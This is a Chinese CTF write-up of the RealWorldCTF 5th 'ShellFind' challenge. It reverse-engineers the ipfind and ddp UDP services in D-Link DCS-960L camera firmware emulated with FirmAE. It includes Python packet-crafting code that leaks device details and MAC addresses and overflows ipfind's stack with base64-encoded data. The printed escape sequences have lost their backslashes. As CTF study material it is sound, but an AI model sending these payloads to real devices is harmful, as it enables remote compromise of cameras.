题目描述如下:
Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.
题目首先给了一个firmware.bin,解包以后有一大堆东西,根据题目的描述知道漏洞应该是出在某个UDP服务上了,至于具体是哪个,最好还是将固件模拟起来以后,通过查看开放了哪些服务来决定分析方向。
这里使用的是firmAE工具进行模拟,成功模拟起来了设备并且还进入了shell。
这为解题提供了很大的帮助,接下来查看一下开放了哪些UDP服务,使用自带的busybox功能不全,netstat没有-p参数无法查看对应进程,可以使用firmadyne目录下的工具。
在这里可以看到开放了udp服务的程序有两个,分别是ddp和ipfind,范围已经缩小了非常多,接下里分别对两个服务程序进行分析。
在ddp程序中,整个程序只有这一个数据接收点。
看样子也是位于一个主循环结构中,程序获取udp数据然后取出前面几位数据按照规则拼成v11,v12,v13,v14作为后续的命令控制字段,涉及的命令程序如factory_reset、set_simple_wifi_info等,一个个分析过去就好。
分析后会发现,这些程序承担了一些比较基础的功能性操作,其本身基本不涉及什么内存操作,也没有可以命令注入的机会,但是有一个函数看上去还算有点可疑:
在几乎每个函数中都会有一个checkAuthentication函数,样子如下:
其中a1和a2是我们传入的数据,解码以后直接存放到栈上,栈空间是两个256字节大小的空间,其调用者长这样:
而recvfrom的大小的0x400,解完base64后最长可以达到768,第二个参数以86作为起点也仍然可以解出长度700的数据,是远比256要大的,理论上来讲这里其实存在栈溢出。
不过这里似乎并不是作者希望我们去分析的地方,从diff的结果来看作者其实着重修改了ipfind程序,接下来再来分析一下ipfind:
首先建立socket然后设置sa_family为2,表示使用udp协议,然后设置sa_data为62720表示使用62720端口,完成bind以后ipfind正式启动。
通过recvfrom函数接收数据以后进行一系列的格式检查。
第一个if要求前四字节为FIVI且第九字节为10。
依此可暂时写出:
data='FIVI'
data+='x00x00x00x00'
data+='x0a'
第二层if会根据v7的值进行选择,v7等于1并且满足另外一些条件可进入sub_40172c。
v7等于2并且v22与目标的mac地址相同则进入sub_4013F4。
换句话来说,想进入sub_40172c,仅凭现有信息是足够的,想进入sub_4013F4则需要额外知道目标的mac地址,由于我们是firmAE直接模拟的题目,所以其实是可以直接看的,但是为了模拟做题场景,此时远程的mac我们应该是无法确认的。
先看sub_40172c函数:
函数中通过cfgRead获取了大量的设备相关信息,并将他们写入到v8这个结构中。
然后将他们发回给我们,也就是说先进入这个函数,可以获取到设备信息的回显。既然如此那就先获取信息试试看。
v7的具体实现为:
v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[2] + 1)) << 8) | ((unsigned int)(BYTE2(data[2]) | (BYTE1(data[2]) << 8)) >> 8));
这里推荐gpt,分析这种简短但恶心的小代码还是挺好用的:
所以数据配置现在为:
data='FIVI'
data+='x00x00x00x00'
data+='x0a'
data+='x01x00'
v7解决完走到最后一个if,也就是:
if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )
其中v8是:
v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&data[5] + 3)) << 8) | ((unsigned int)(HIBYTE(data[6]) | (LOBYTE(data[5]) << 8)) >> 8));
要保证v8是0直接让涉及到的数据都为0就可以。
memcmp这里限制了data[4]+1开始的六个字节都是0xff。
所以写出如下data:
data='FIVI'
data+='x00x00x00x00'
data+='x0a'
data+='x01x00'
data+='x00'
data+='x00x00x00x00'
data+='x00'
data+='xff'*6
最后看一下v17,同理全为零即可,于是得到触发sub_40172C的最终payload。
data='FIVI'
data+='x00x00x00x00'
data+='x0a'
data+='x01x00'
data+='x00'
data+='x00x00x00x00'
data+='x00'
data+='xff'*6
data+='x00x00x00'
用python创建好udp套接字发给题目ipfind对应端口试试看。
import socket
from pwn import *
context(os='linux', arch='mips', endian='big', log_level='debug')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
lg = lambda x : print(' 33[32m' + str(x) + ' 33[0m')
ip = '192.168.0.1'
port = 62720
r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
lg('[+] open connection')
data=b'FIVI'
data+=b'x00x00x00x00'
data+=b'x0a'
data+=b'x01x00'
data+=b'x00'
data+=b'x00x00x00x00'
data+=b'x00'
data+=b'xff'*6
data+=b'x00x00x00'
r.sendto(data, (ip, port))
recv_data, recv_addr = r.recvfrom(1024)
li(recv_data)
运行以后成功获得了回显,其中能够比较明显看出来的是比如DCS-960L这种设备名称。
def get_macaddr(macdata):
macaddr=hex(macdata[0])[2:]
for i in range(5):
macaddr+=":"
macaddr+=hex(macdata[i+1])[2:]
return macaddr
data=b'FIVI'
data+=b'x00x00x00x00'
data+=b'x0a'
data+=b'x02x00'
data+=b'x00'
data+=b'x00x00x00x00'
data+=b'x00'
data+=mac
data+=b'x00x00x8e'
data=b'FIVI'
data+=b'x00x00x00x00'
data+=b'x0a'
data+=b'x02x00'
data+=b'x00'
data+=b'x00x00x00x00'
data+=b'x00'
data+=mac
data+=b'x00x00x8e'
data=data.ljust(0x5d,b'x00')
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaar'
data+=base64.b64encode(payload)
r.sendto(data,(ip,port))
data=b'FIVI'
data+=b'x00x00x00x00'
data+=b'x0a'
data+=b'x02x00'
data+=b'x00'
data+=b'x00x00x00x00'
data+=b'x00'
data+=mac
data+=b'x00x00x8e'
data=data.ljust(0x5d,b'x00')
payload=b'x00'*588+b'a'*4
data+=base64.b64encode(payload)
r.sendto(data,(ip,port))
https://github.com/fxc233/CTF/blob/main/IOT/RealWorldCTF-5th-ShellFind/exp.py
看雪ID:Ayakaaa
https://bbs.kanxue.com/user-home-954038.htm
# 往期推荐
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):RWCTF5TH shellfind